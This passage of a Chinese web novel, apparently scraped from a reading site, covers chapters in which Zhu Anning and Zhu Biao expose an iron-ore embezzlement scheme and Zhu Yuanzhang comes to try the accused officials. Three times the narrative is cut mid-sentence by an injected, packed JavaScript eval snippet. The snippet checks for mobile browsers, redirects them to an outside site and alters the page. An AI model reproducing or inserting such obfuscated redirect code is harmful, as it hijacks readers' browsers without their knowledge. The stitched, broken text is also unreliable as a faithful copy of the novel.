朱棣正忙时。 此时朱安宁和朱标,已经屏退了侍卫还有成梁,让他们去到了院外。 朱标正在发问。 “这贼,怎么回事?还有这枪……”朱标指了指地上那侍卫们刚放下的火绳枪,那是一头雾水的样子。 他昨夜收到朱棣的密信,今早是紧赶慢赶来到这里的。 结果刚到村口就抓了个可疑的贼,关键是,贼还扛着明显就是铁冶生产的枪! 这朱标是赶紧把人抓了,想回到院子里听朱安宁的解释。 结果刚把人拎回来……这贼好像还认识朱安宁和四弟…… “昨夜就是这贼进来偷枪,被我们逮住了,没想到今早跑了,还是……”朱安宁顿了顿,有些犹豫该怎么称呼朱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378786|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标……过了半晌他才咬牙说了下去:“还是大哥有实力……帮我们抓了回来。” 这大哥听得朱标也是意味深长。 他看了看朱棣。 又看了看朱安宁,立马是听出了,估计这小子已经知道自己身份了。 既然知道了,他也懒得再端着。 他快步走到了树下的桌前,熟练地找了个位置坐下。 然后示意朱安宁过来。 “安宁小弟,还是坐着说吧。究竟是个什么情况……这贼偷枪怎么回事,和贪墨有关?” 他直接点出问题的关键点。 远处姬友命正呲牙咧嘴地控诉着朱棣。 “爷……爷,这里太紧了太紧了,要死人啦!” “嚯,你这当贼的被捆了还想舒服?跑啊,你怎么不跑了?” “这不是又回来了么……呵呵……” 两人居然对话上了。 但是却也没影响朱安宁和朱标的谈话。 只见朱安宁也是走了过去,到了朱标的身旁,熟练地给他倒了杯咖啡。 “大哥,咖啡,域外饮物,提神用的。” “嗯……味道很是奇怪……行了,说吧……” 朱标没有犹豫,直接就接过喝了一口,然后是差点喷出来,幸好最后忍住了。 “这些枪,都是有问题的。有 人想偷走,销毁。” 这次朱安宁说得很是简练。 朱标却也是能马上理解。 “材料有问题还是工匠的问题。” “自然是材料。” 听完朱安宁的回答,朱标是深吸了一口气。 结合最近有人弹劾赵集,他是立马就想通了一些事情。 “有千户上奏工部失责,兵器低劣,和这事也有关系吧。” “应当是有的,这有问题的枪,正是用虞衡清吏司库房兵器回炉造出来的。” “虞衡清吏司是赵集在管的,是赵集有问题?” 朱标问得很是直接。 “赵大人最初是不知此事的……” “继续说。” “是我听闻民间有传闻,应天府供给的铁矿石,有人截留了优质的去变卖,供了些品质不好的给虞衡清吏司造武器。” “继续!” “然后我让赵大人从库房提了一批武器出来回炉造枪管试了下……确实不太行……和真正的优质铁矿造出来的枪管,强度完全不一样。” “试过没有。” “试了,炸膛了……” “……” 两人说话的声音不大。 远处正在玩捆绑play的朱棣和姬友命,自然是听不清他们说话的。 只见朱标倏地站了起来,脸上布满了阴霾。 如朱元璋所说那般。 这大明才建立了多久,怎就如此千疮百孔了啊。 “安宁小弟,你可知道这事涉及到了谁。” “大概知道点……户部工部都察院御史应该都有人在弹劾赵大人……但是大哥,你且信我,他是清白的……” “他是清白的,那就代表了,有很多人不干净啊……” “……”朱安宁听着朱标的感叹,那是突然就无话可说。 作为现代人,他是知道郭桓案牵连了多少人的。 六部基本杀了个干净。 地方布政十二人牵连,基层也杀了一大片。 而自己阴差阳错间,好像提前开启了这个事件。 “说吧,你怎么想,你让四弟叫我过来,总不会就是让我喝这……这咖啡的吧。” 朱标依旧是问的很直接,他笃信朱安宁叫自己过来,肯定是有要事的。 只见朱安宁这次开口前,那是规规矩矩地行了个礼。 因为接下来要讲的东西,他觉得是正式的,重要的。 朱标也是少见这样的朱安宁,便也是略微端正了下坐姿。 “劣质铁矿造出来的武器也好记录也好,甚至挖矿的人,想必已经都处理干净了,现在就剩我这里有点证据,届时不必说,相关官员主事等人定会百般辩解。” “确实。” “赵集赵大人身上带有当时他从库房提兵器的记录簿,这是物证。如果有人还想抵赖,我恳请陛下让他们端着这些劣质火绳枪,去逐一试枪,我倒要看看,他们怕不怕被这枪给炸死。” 朱安宁提眉一笑,继续说了下去。 “要么活着承认铁矿石有问题,要么被炸死,作为物证,证明铁矿石有问题。” 第一百八十三章 咱也出宫一趟 “陛下?”朱标浅浅一笑,回道:“你怎么知道我一定能劝服陛下呢?” 这个问题就有点明知故问了…… 尼玛的你朱标劝不定你爹,总不能我来吧…… 朱安宁是险些想翻白眼,但是最后还是忍住。 “还有,怎么不叫我伍哥了?”朱标看朱安宁没有回答,又追问了一句。 更是把朱安宁干懵逼了。 这朱标不讲武德……一会喊你太子你说不定也不高兴……所以你想怎样嘛……朱安宁只能微微躬身,无奈地说道:“……大哥说笑了……您愿意让我叫大哥,我就叫大哥,如果过于失礼,我可以换个说法……” 他挤出了些笑容,只怕朱标会不会突然发疯给自己上纲上线……一会给自己一个大不敬的罪名…… 其实,朱标并没有太过在乎朱安宁的叫法。 实话说他对朱安宁的印象确实也不错。 他作为朱元璋的长子,其实也算是草莽中起来的人。 并非像王朝中期后期那些皇族那般计较这些东西。 朝代初始,通常都是比较开放的。 “没事,你喜欢就行,但是你刚才说的事情,仅仅是你一家之言,你作为东宫詹事府少詹事,是否知晓这份控告的严重性?” 明确了朱安宁确实是知道自己的身份后,朱标又回到了正事上。 这话语是非常正确的。 到目前为止,一直都是朱安宁在说。 虽然从迹象来看,以及毛骧收集到的信息来看,这几个人有猫腻的可能性是极大的。 但是做事总归还是讲一个规矩。 他不想像他父亲那样频繁地去改变规则。 这差不多是朱标和朱元璋最大的不同。 擦,不说他都还忘了自己是个官了。 朱安宁连忙追问了句:“是不是要写奏折啊……这玩意我……我不太会写啊……” “奏章我找人替你写,但是你真的要弹劾他们?” “要不换个人?” “怎么?” “对面人多,我也怕死啊。” 朱标是听了朱安宁的说法,也是觉得好笑,便随口挤兑了朱安宁两句。 “呃……安宁小弟,这种时候不是一般要什么视死如归,惩奸除恶的么?” “死了还怎么惩奸除恶?活着才能做更多的事情,若是真的想当个清官,你便要比贪官更奸。” 这种挤兑,太过小儿科,朱安宁回答得是理直气壮。 朱标在沉默了半晌后,点头同意了朱安宁的说法。 作为监国副皇帝,他非常勤勉,也非常注重文人治国。 但是现在出了这牵连甚广的贪腐案……让他不由得开始思考,是不是,他父亲所说的文人都是叽叽喳喳几只鸦,满嘴喷粪叫呱呱……才是正确的。 这火绳枪一事,大概也就是这贪腐案的案中案吧…… “你说的有理,那安宁小弟,你让那几人试枪,是否有想过,他们会狡辩这件事。” “同一工匠同一铁冶铸造的火绳枪,品质合格的那库房里有一大堆,随便挑两把,和那破烂铁矿石造出来的火绳枪一起试枪就行。这总没得抵赖了吧?记事簿也还在赵集赵大人那里,这都能赖的话,我也无话可说。” 朱安宁皱了皱眉头。 突然又想起这是古代……好像……一切皆有可能。 没想到朱标却又突然摇了摇头。 “如果你这般有自信,那几人,怕是真的有问题了。” 令朱安宁没想到的是,他还在想怎么说服朱标,结果对方却突然改了口。 “呃……” “只是,牵扯的人太多了啊……” “铁冶一事……人不多吧……难道,还有其他情况?”朱安宁小心翼翼地开始求证。 郭桓案,看来是真的开始了…… 没想到朱标居然没有回话,他笑着起了身。 突然往那已经收完土豆和番薯的实验田走去。 朱安宁自然也只能是陪着。 清晨的气味很是好闻。 玉米辣椒西红柿之类的作物,现在也成熟得七七八八。 朱标就这样看着,良久。 待到朱棣都已经快要把姬友命勒到暴毙的时候,他才继续开的口。 “贪官是杀不完的……想必你也知道。” “难道大哥想放过他们?”这下轮到朱安宁急起来了,这朱标太子在历史上的风评确实很好,但是总是有个论调说他儒生气太重。 不会是这个时候心软吧!哥,这可是贪污啊! “若犯了事,怎能轻易放过……” “呼……所以您是在想怎么杜绝贪官?” 朱安宁抬眼看了下朱标,便也知道他在想什么。 不过这个命题过于宏大,并非是朱安宁能够轻易解决的问题。 但是思路还是有一点的…… “杀……确实是杀不完的,但是其实可以试试其他法子。” “嗯?这种事情你也有想法?”朱标多少还是有些意外的:“说说吧,有什么办法让他们再也不敢贪……” “不贪?不可能的……如 果有一成的利润,某些人就会开始有想法,有两成的利润,他们就会开始想办法搞起来;有五成的利润,足够让铤而走险;为了一倍的利润,他们就敢践踏一切世间律法;有三倍的利润,他们就敢犯任何罪行,甚至冒抄家的危险……”朱安宁又重复了一遍之前和朱棣说过的话,说完他却也没有停下,而是继续说了下去:“所以杀完了,还会有贪心的人出现……” 朱安宁这段话,落在朱棣耳中,那就是觉得很有意思。 但是落在朱标耳中,那就是值得他深思了。 站位不同,考虑的事情也完全不一样。 此时的朱棣还未成长……只是个憨憨。 但是朱标已经是常务副皇帝。 “是啊……历朝历代,这种事情,太常见了……以至于,可能百姓们都觉得,无官不贪了吧。” 朱标又是在感叹。 朱安宁也算是摸清了朱标的态度,他大概是无奈,这杀不尽也杀不绝的贪官吧……史书是有记载的,朱元璋举起屠刀杀完了朝堂杀富商,杀完富商杀乡绅,有罪之人很多,但是无罪的也不少,当时还是太子的朱标,态度上是明确反对这种杀戮的,但是奈何他也找不出更好的方法…… 只要知道朱标的态度,那就好办,朱安宁缓缓回道:“学而优则仕,在我看来,这做官啊,很大程度上就是为了出人头地。想想看,那些寒窗苦读数十载的士子们,哪一个不是盼着有朝一日能穿上那身官服,享受锦衣玉食,飞黄腾达?所谓的治国安邦平天下,可能读书时是真有想过的,一旦手握重权,又有几个还记得?” 朱标闻言,微微颔首,眼中闪过一丝认同的光芒,嘴上却还是没有直接承认。 “安宁小弟,这种话这里说就好了,说到外面去,那些士子不得一人一口唾沫淹死你……” “嘿,骂街我可不怕……方孝孺都骂过,其他小文人我害怕?”朱安宁却也是一下就乐了,他脱口而出。 朱标却是无奈地摇了摇头:“需要知道你的身份……其实也算是个读书人的头了……这种话真不能说……” 他顿了顿,朱安宁也是马上理解了朱标的意思,连忙点头。 好家伙,做个官,连说话都要好好考虑了。 怪不得以前公司的大领导说话总是慢条斯理,还是有点讲究的。 现在朱标是自己领导,也得好好听他说话才行…… “不过,你刚才说得没错,这种思想确实已经根深蒂固了。做官,在很多时候,似乎就成了成功的代名词,与权势、财富紧密相连。人们往往只看到那些光鲜亮丽的表面,却忽略了为官背后应有的责任与担当……造福一方,才是父母官,居庙堂之高则忧其名居江湖之远则忧其君……所以你有法子能治一治这事?” 这只是朱标随口而言。 他是不抱希望的。 只是朱安宁曾经给过他太多的惊喜,他这次愿意大清早来这永乐庄,也是基于以前朱安宁太过惊喜了…… “是否可以,让罪行较轻的人,免去死罪呢?” 朱安宁斟酌了下词语,确实让朱标无比意外, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378787|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憋了半天就说这? “啊?”他毫不掩饰自己的意外…… “大哥听我说完……免去死罪,但是贬为民或者收监之类的,还是照常执行就行……重点是,该犯人,未来三族三代内!皆不可再入仕!让他们活着,让他们面对父族、母族、子族的唾弃,这或许,比杀了他们还难受。” “嘶!”原本还有些哀愁的朱标,瞬间眼冒精光:“会不会有点绝,世家的能量也不小,你这做法,等于是一人犯法,差不多一个世家都要断绝入仕的希望了啊!其他地方不说,江南很容易出问题!那片的世家,差不多已经是你中有我,我中有你了,大部分都是联姻的,一旦开始祸及三族,那几本是要断他们的根了!” 朱标作为政务小能手,一下就看出了朱安宁说法的可行之处,也一下就看出了,不合理的地方。 三族连坐不能入仕,这可是极其恐怖的事情。 封建时代,飞黄腾达,就是靠做官,现在三族都做不了官,这很容易出乱子。 没想到朱安宁却也没有松口。 “乱世用重典,而且最开始只挑部分合适的贪墨犯官去推行,杀鸡儆猴,后续的人只要如实交代,补齐赃物,那适当责罚,夺了官位就行,这样绝对比纯杀要有效点。” 朱安宁顿了顿,他有些话不知道该讲不该讲,但是想想现在自己已经在明朝老朱家的贼船上了,也就咬牙继续说了下去。 “而且,趁这件事,直接把那几个最不服管教,最跳的世家,一次性解决,不也是刚好么?” 朱标这下表情就不仅是意外了,他是意味深长地看了眼朱安宁,然后缓缓说道。 “这些事情,真的都是你自己琢磨的?” “呃……算是吧……” “呼……你容我想想,父亲也不一定会答应……他应该,更倾向于,杀……” —————————————————— 朱安宁的话,朱标亲自写了一封密信,让亲卫快速送回了应天府。 刚下朝的朱元 璋,很快就看到了信件。 朱标说得很详细,铁矿石贪墨案的情况并不复杂,具体涉及的人,通过毛骧给的串联图,老朱是直接想都想得出来。 更重要的是,今天弹劾赵集的人又多了几个…… 那军屯千户的折子,朱元璋是当众读出来给百官听的。 就是想看看谁会急着把这屎盆子扣到赵集身上。 果不其然,他心中锁定的那几人,全都跳了出来,没有遗漏…… 这些虫豸!!!统统都该死!!! 老朱继续看了下去。 后面朱标是笔锋一转,开始介绍朱安宁的想法。 三代不可入仕? 意思是不杀了,换成三代禁止做官? 朱元璋只觉得这个做法有点新奇,他杀人也是为了惩戒贪官而已。 这是手段,而不是目的。 就算是老朱他也只是想杜绝贪官而已。 他想了想便知道,朱安宁的说法是有实施空间的。 特别是最后朱标还附加了几个大家族大乡绅的名字……朱元璋那是心领神会,这批尾大不掉的家族势力,好像是可以趁机削弱啊,之前那是没有机会,这次贪墨案,不正是一个好时机么?! 朱元璋露出了久违的笑容。 这些天,他已经快要被那贪墨名单给整抑郁。 天下都打下来了,却又马上就被贪官们蛀空了,他不气是不可能的。 而信的末尾,朱标又把笔锋转回了铁矿石贪墨案中,依旧是说明了朱安宁让那些涉案的大员们去试枪的做法。 这就非常合朱元璋的心意了。 没想到这次又还是朱安宁提了法子。 朱元璋向来是雷厉风行的做派。 只见他,直接绕到了自己的案台上,提笔写下来几个名字,其中,也包括了郭桓和麦至德。 “让这几人,即刻去永乐庄铁冶,就说弹劾赵集的事,得有个结果。” 朱元璋把名单甩给了近侍太监。 然后又补了句:“对了,把咱的衣裳也拿来,咱也出宫一趟。” 第一百八十四章 这就是朱安宁? 朱元璋出现在永乐庄门口。 这次他是骑马过来的。 因为很急。 他急着看贪官被炸死。 最好那枪真的能炸膛。 不能炸膛他就绑住那几个人,用火炮轰! 偷粮,那是千刀万剐。 但是连军士作战的武器他们都敢弄虚的!这已经突破朱元璋的心理底线了。 绑到树上用火炮轰,才能解他心头之恨。 “一会郭桓他们来了,你让他们自己来寻我吧。” 戚祥此时正在路边候着,他接过了朱元璋递过来的纸张,上面写着几个大员的名字。 朱元璋要过来的消息,他作为亲卫头子,肯定是第一时间知道的。 “是。”他连忙回了句。 心里止不住地嘀咕。 陛下,好像很高兴,又好像很愤怒啊。 而且这几个大员,八竿子都和永乐庄打不着啊……来这里干嘛? 真是奇怪。 不过作为亲卫,他不需要提问题,只需要执行朱元璋的命令就是了。 朱元璋没有理会身后的亲卫们。 他快速走向了庄内。 毛骧则快步跟了上去。 作为检校,他原本是不负责朱元璋安全的。 但是今儿朱元璋出宫,却特意带上了他。 这让他无比欣喜。 他编排的东西一定起作用了! 只是他也搞不清楚突然来这永乐庄干嘛,索性也是学着戚祥,不需要出声,亦步亦趋地跟上就行。 朱元璋走得很快,不多时,便来到了铁冶外面。 赵集那是独自一人连忙迎了上去。 他也是被戚祥通知了消息的。 关于朱安宁院子里招贼的事情,朱安宁早就通过朱棣通知了他,细节肯定没说太多。 他也隐隐知道朱元璋来此地,定然是和那铁矿石的事情有关。 加之近期不断有人弹劾他。 他也有些紧张。 赵集知道,今儿的事,一个处理不好,他必然背上这口黑锅,含冤而死。 “恭迎……”他刚想行礼。 朱元璋却不耐烦地扬了扬手。 “毛骧,拿下赵集。” “是!” “啊?” “轻点,带到那边院子去就行。” 朱元璋又补了一句。 这让毛骧都懵了起来。 又是拿下又是轻点,自己该摆什么态度嘛! 不过毛骧记忆力很好,他知道自己串联的名单里面是没有赵集的,换言之,这拿下赵集,并不是一句很重的话语? 此时的毛骧已经开始学习揣摩圣意,不得不说,初代锦衣卫头子,还是很有天赋的。 他当即就听出了朱元璋对赵集的语气并没有很恶劣。 于是立马调整了姿态,走到了赵集身边。 “赵大人,这边。” 赵集还是有点懵逼。 要是说揣摩上意。 三个他捆起来也不是毛骧的对手。 所以他现在很慌。 果然自己是被弹劾了,完了现在陛下还信了那些弹劾者的说法? 他连忙摸了摸自己胸口那本簿子,又想到了朱安宁交代过的事情,也只能强自镇定地跟了上去。 几人刚拐过那弯道,便看到了朱安宁的小院。 除了毛骧,朱元璋和赵集都不知道来过多少次了。 只是这次,还是让朱元璋有些意外。 “赵集,这是怎么回事。” 朱元璋看着一群闹哄哄的人在院子外面忙活,那是直接就皱起了眉头。 “禀陛下,这是朱大人的升官宴……” “升官宴?哼……他也喜欢搞这种东西啊……” 老朱略微有点不爽。 但是却没有停下脚步。 很快他就走到了一众人群中,想穿过去。 没想到人确实是有些多。 挤了半天,居然动都没有动。 这让老朱不免有些恼火。 而恰是此时,后面一群穿着常服的官员,也挤到了这宴席现场的跟前。 不必说,眼尖的他们,是直接就看见了朱元璋。 那必然是上去就想要行礼。 朱元璋扫了一眼郭桓等几人,又看了下他特意叫来的,不在罪人名单中的刑部尚书余文升、审刑司审刑吴庸。 依旧是挥手示意他们不用行礼。 其实郭桓麦至德看到余文升、吴庸时便觉得有些不妙。 但是始终是摸不清楚发生了什么。 郭桓上去套话,问了两句。 结果发现余文升两人和他们一样懵逼。 现在过来一看,那毛骧隐隐有点押着赵集的意思,那是不由得松了口气。 虽然有点诡异,但是好像是要在这乡下审他们弹劾的事情? 这非常不符合规矩。 但是明初,老朱,就是规矩。 众人也不敢说些什么,只能默默跟在朱元璋后面。 只是朱元璋挤了两次,那是早就恼火不已了。 毛骧也是有点急,自己又要保持押着赵集的姿势, 又要想办法给朱元璋排开一条路来,实在是难受。 这时……出手的却是赵集。 “刘大娘,诶,让一让,我们想去找朱大人。” “嗯?是赵大人呀,我们这酒席还没弄好哩,你赶紧去朱爷那坐着歇会,这人多又脏,快去快去……咦这一大群人……” 那大娘回头看了眼赵集,嘴巴那是叨叨絮絮说个不停,赵集是早就习惯的了,但是他看得出老朱很不习惯……便连忙开口制止道:“好好,刘大娘你让大伙让让,好让咱进去。” 赵集说得小声,生怕朱元璋不悦。 但是要知道村里的大娘们是最生猛的。 “唉哟,这些也是大人吧,朱爷就是厉害,不声不响升了大官,一下就那么多人来祝贺他,这叫什么穷在深巷……” “穷在闹市无人问,富在深山有远亲吧。”一旁另外一个大娘嘻嘻地笑了起来:“我家小子昨天刚学的,他说那个新的讲学先生老正经了……” “对对对,就是这句话,咦,但是这句话不是骂人的么?” “是么?” 几个大娘还在叽叽喳喳。 赵集那是终于忍不住了,用背一把顶住了几个大妈。 给朱元璋排开了条路来。 他也是怕这几个农妇,一会说出什么更逆天的话来…… 这让朱元璋是有些意外地看了眼赵集。 他是没想到赵集能和这个村子的人这么熟。 几人是好不容易到了场中,这便是已经是朱安宁的院子外,饭桌凳椅早就摆好。 今儿算是永乐庄建成后最大的一件事情了。 是朱安宁给了村民们安身立命的地方,还给了他们吃喝,虽然只是够这一小段时间,但是眼看着自家的田地,就要有收成了,这村民们能不感谢他? 都是逃难过来的灾民,谁对他们好,他们就对谁好。 于是,今天农妇们干活是格外的卖力。 以至于同福楼的几个厨子都忍不住感叹。 “大娘,这主家给了你们多少工钱嘛,这么卖力,官老爷们都还没上朝,你们就都过来帮忙了,一大群人是忙前忙后到现在。” 而恰是此时,朱元璋一众人刚好路过这灶台的位置。 同福楼几个厨子的话,朱元璋是听得一清二楚。 “啊?俺们几个要是这种大事都不来帮衬朱爷,还是人?” “你莫要说傻话,朱爷免了我么一年的租子,还让我们家娃娃读书,我们能收朱爷的钱银?” “就是我们地里的粮还没有收成,有收成我们一家一箩筐挑给朱爷,恭贺他升官又咋样嘛……” “诶,就是就是,不过俺家男人已经进山里了,一大早几个汉子就说,家里没啥值钱的家伙什,就进山想办法弄点野味,当做朱爷的贺礼。对咯,你们晓得咋个煮野味吧。” 几个大娘一边在那摘菜一边和厨子聊着天。 厨子一听有人质疑自己的职业素养,那也是眉头一挑回道:“管你什么野味,经我厨子手,那就是尽显人间味。” “嚯哟,说起来还一套一套的咧。” 大娘们又笑了起来。 那厨子却也没有回话,而是过了片刻,才突然换了个话题。 “这么说起来,你们这永乐庄的朱爷,是真的怪好的啊。城里传的我还以为就是胡说八道的,说什么永乐庄大善人。” “那当然是真的咯,我们朱爷,可是天底下最最好的大善人了,懂的东西又多,田都是他教我们耕的哩…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13378788|141046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 聊天还在继续。 但是朱元璋已经没有再听了。 他眉头早已舒展了不少。 也许,偌大一个大明,还是有朱安宁这等好人的,多多寻找这种好官,去替代掉自己身后的虫豸们,就可以还天下一个天清气朗。 朱元璋又迈开了步子,直接走到了门口叩门。 等不过是片刻,门就被打开。 是朱棣。 他瞄了一眼自己的父亲,又看向了身后的一众人,不由得吸了口凉气。 今天阵仗有点大啊。 与此同时,反应过来的还有朱标和朱安宁。 特别是朱安宁。 他超紧张的。 怎么这老朱也来了啊…… 自己直系领导朱标不是说自己写封密信么? 怎么才过了小半时辰……这老朱就带着一群人杀到了自己院里。 一众人等,自不必说,目光是全都被朱安宁的房车吸引了过去。 然后……便是被绑的严严实实的姬友命……这次他嘴巴都被塞住了。 此时的他宛如咸鱼,那是挣扎都懒得挣扎的那种。 见到这姬友命,郭桓悬着的心,终于是死了……虽然人是蓝染安排的,但是人去做什么,他还是知道的…… 现在很明显就是蓝染找的人被抓了。 是要兴师问罪了? 郭桓咬了咬牙,看了眼麦至德,知道是到了讲奉献的时候了。 “麦至德……你的家人……”他连忙开始对着麦至德,开始低语。 他说得有急又快,旁人都还未注意到,他就已经说完。 而麦至德的身子,似乎是不受控制地颤抖了起来。 脸庞毫无血色,宛如死人。 而此时朱安宁和朱标已经走到了朱元璋跟前。 “不用多礼。” “见过……”朱安宁深吸一口气,是刚想说话……结果却被朱元璋给堵了嘴巴,那是继续说也不是,不说也不是…… 这院子朱元璋熟悉得很,他径直就走到了树下的桌前,拉了张椅子,坐了下去。 然后扫了一眼赵集。 缓声说道:“赵集,户部、工部、甚至是地方,都有人弹劾你,你可知罪。” 这场审判,毫无征兆地就开始了。 “余文升,吴庸,过来,记录。”朱元璋指了指桌面的纸笔,示意两人过来。 刑部尚书余文升、审刑司审刑吴庸那是愣了愣,便也是赶紧跑了过去。 他们总算知道自己是来干嘛的了…… 愣神的不止是余文升两人,连麦至德和郭桓他们几人都是楞在了那里。 不是问罪他们? 麦至德那是一阵狂喜,刚才还抖得糠筛似的他,一下就冲到了院中间跪了下去。 “臣弹劾赵集!赵集大人身为虞衡清吏司之要员,本应恪尽职守,严把关口,确保每一兵刃、每一铠甲皆能达到御敌之需。然其疏于职守,监管不力,任由劣质武器流入军营,实乃失职之至。此等行径,不仅贻误军机,更令无数英勇之士无辜丧命,实难辞其咎。臣深知,武备乃国家之根本,一刻不可松懈。今赵集大人之所作所为,已严重危及国家安危,动摇军心士气。若不加以严惩,恐将贻害无穷,国将不国啊!” 麦至德能力是一般的,但是在生死存亡的逼迫下,智商那是瞬间占领了高地,这一跪一唱,声泪俱下,要不是朱元璋提前知道这屌人贪污了多少钱财……说不定都会被骗过去那种。 郭桓看着麦至德的表演,也是忍不住擦了下冷汗。 他身后的几个人,更是如此。 “荒唐!明明就是你所辖的矿,未能提供足够品质的铁矿石,才会导致武器质劣!” 想比之下,赵集的智商高地是在铁冶铸造工科那边,说话确实不是他强项…… 明明他们都证据确凿了,还在这里配合对方说车轱辘话。 没必要没必要,直接证据摆上去,正义铁拳锤死就好了啦! 朱安宁听得是一阵无语。 只觉得自家赵大人真是嘴笨啊。 明明都教过他了。 正当他准备叹气的时候,朱元璋的声音却也是响了起来。 “朱安宁何在?!” 朱安宁? 原来这就是朱安宁! 是那个活在街市传说里的朱安宁! 第一百八十五章 你,把朱元璋杀了! 一众官员,包括还在记录的余文升和吴庸,都抬头看向了朱元璋目光指向的朱安宁。 “这就是王大人提到过的那献上神物的朱安宁?” “好年轻啊!” “这般年纪就是少詹事,恐怕不仅是献宝有功。” “不是还有传闻说他计策无双……” “嘘……” 两人的聊天始终不敢太过,毕竟朱安宁已经在朱元璋的召唤下,来到了众人跟前。 只见这年轻人深深地叹了口气。 朗声道。 “臣朱安宁,弹劾户部侍郎郭桓,工部郎中麦至德,礼部侍郎赵瑁、刑部郎中王惠迪、兵部郎中王志!” 朱安宁报菜名似地说了一串人名。 恰好就是以郭桓,为中心的那一团人。 只见他们的脸庞,也是,瞬间就没了血色。 “弹劾何事。”朱元璋一挑眉头。 “盗卖官矿,以次充好,致库房兵器品质低劣。” 朱安宁则老实回答,原本他还是有点怕的,但是想想对面这个几人鸡掰人,都敢派人偷到自己家里了。 nnd再这样下去,自己小命也不保。 那还是先送诸位归西先吧…… 朱安宁的指控相当口语化,但是却又让那一群人脸色白了一分。 花团锦簇也好,直白通俗也罢,内容是真的,才是关键…… 麦至德忍不住了,他直接就跳了起来。 “含血喷人,明明是虞衡清吏司铁冶水平低下,糟蹋了矿石!” 不出意外的,有人开始为了自己的生命开始狡辩。 郭桓却是有些绝望地闭起了眼睛。 对方都敢这么说了,一定是掌握了证据的。 这麦至德真该死啊……还在这里讲屁话,明明他把这死罪揽下来,大家还能好好照顾他的妻儿老小。 “哦?你弹劾赵集,这朱安宁又弹劾你?那你们究竟谁对谁错呢?总得有个结果是不是?” 朱元璋调笑似地说了声。 却让一众人等如坠冰窟。 老朱这笑,不怎么愉快的感觉啊。 这大概是动了杀心的语调。 赵集此时也是有些急,他直接就把连续几日一直放在胸前的簿子掏了出来。 “臣这有库房调取的记录,永乐庄铁冶曾经用过库房兵器重新熔炼出新火器,经过臣与朱大人测试,确实是品质有问题,同批次新矿石熔炼的火器则品质上佳!” “哦?有记录啊。给咱看看。”朱元璋早就知道了这簿子的存在。 “不可能!不会有记录!他撒谎!”麦至德已经快要发癫,他明明记得记录都是自己消去的,那簿子是他亲手换下的啊。 “那你自己看看吧。”朱元璋看了一眼,确定有调库记录后,竟是直接丢到了麦至德的面前。 而麦至德已经从面无血色,变成了血气上涌。 他一眼就看到了那调库记录。 “这是假的!!!定是虞衡清吏司工艺不精,便在这里污蔑我。” 麦至德喊得声嘶力竭。 “嗯?这个说法也有理。” 朱元璋似乎是在赞成麦至德。 这下又轮到赵集急了。 他正欲上去说些什么,却是被一边的朱安宁扯了扯衣裳。 “别去……”朱安宁小声提醒他。 而赵集正想反驳。 老朱的话语又传了出来。 “这样吧,赵集,你先觉得你的工匠没问题,是铁矿石有问题是吧。” “正是!”赵集连忙回道。 “而你,麦至德,你是认为虞衡清吏司有问题,赵集有问题对么?” “正是!” 麦至德那是激动得无以复加。 他只觉得好似寻到了一条活路。 “毛骧,去铁冶库房里,随便挑两杆枪来,嗯,赵集,你不同批次是否有做记号啊。”朱元璋说得很是随意,还抽空看了看自己的指甲,似乎有点不满意那根毛刺,欲拔之而后快! “有的有的!库房兵器重新锻造出来的,我都让工匠印上了库房二字,这事全铁冶全虞衡清吏司都知道!” 赵集连忙回道。 “嗯,那毛骧,去吧,去快些!” “是!” 毛骧飞快地跑了出去。 剩下一众人大眼瞪小眼。 远处的姬友命那是根本不知道发生了什么,只能继续无语地被捆在那里。 离得太远的缘故,他是一点瓜都没吃到。 “对了,父皇,那贼人,昨夜想来偷东西。”朱棣此时抽空,终于可以和朱元璋说上话。 那是靠在耳边悄声说的。 朱元璋眉头一挑。 “偷的枪对吧。” “对。” “人审了没?” “我和朱哥都觉得,我们没有这个资格审……便急信给大哥来处理,没想到父皇你也来了。” “嗯,做得好,人也不用审先了,一会我们上山试枪,你把这贼人也带上吧,算是个人证!” “好。” 两父子耳语了几句。 朱安宁站在那里却是如芒 在背。 毕竟整个院子除了朱家父子,其他人的目光都落到了他的身上。 而大部分,都是怨毒的,憎恨的,不爽的,目光…… 幸好还有朱标站在他身边。 不然,他就直接开溜了…… 这官可真不好当,还没上任享福,妈的就得罪人了。 这批人老朱最好快点杀,不然保不齐自己第二天就想辞职了…… “安宁小弟,这头,何苦你来出呢。” “你爹点我了啊!” “这点你你也可以委婉点吧,参了麦至德就好了啊。” “对哦……刚才紧张了……” “……” 朱标和朱安宁也在耳语。 但是落在一众人眼中那就有点不一样了。 这里两人还真亲近! 于是怨毒的,憎恨的目光,瞬间收敛了不少。 不多时,毛骧就扛着两杆枪跑了进来。 朱元璋也没有废话。 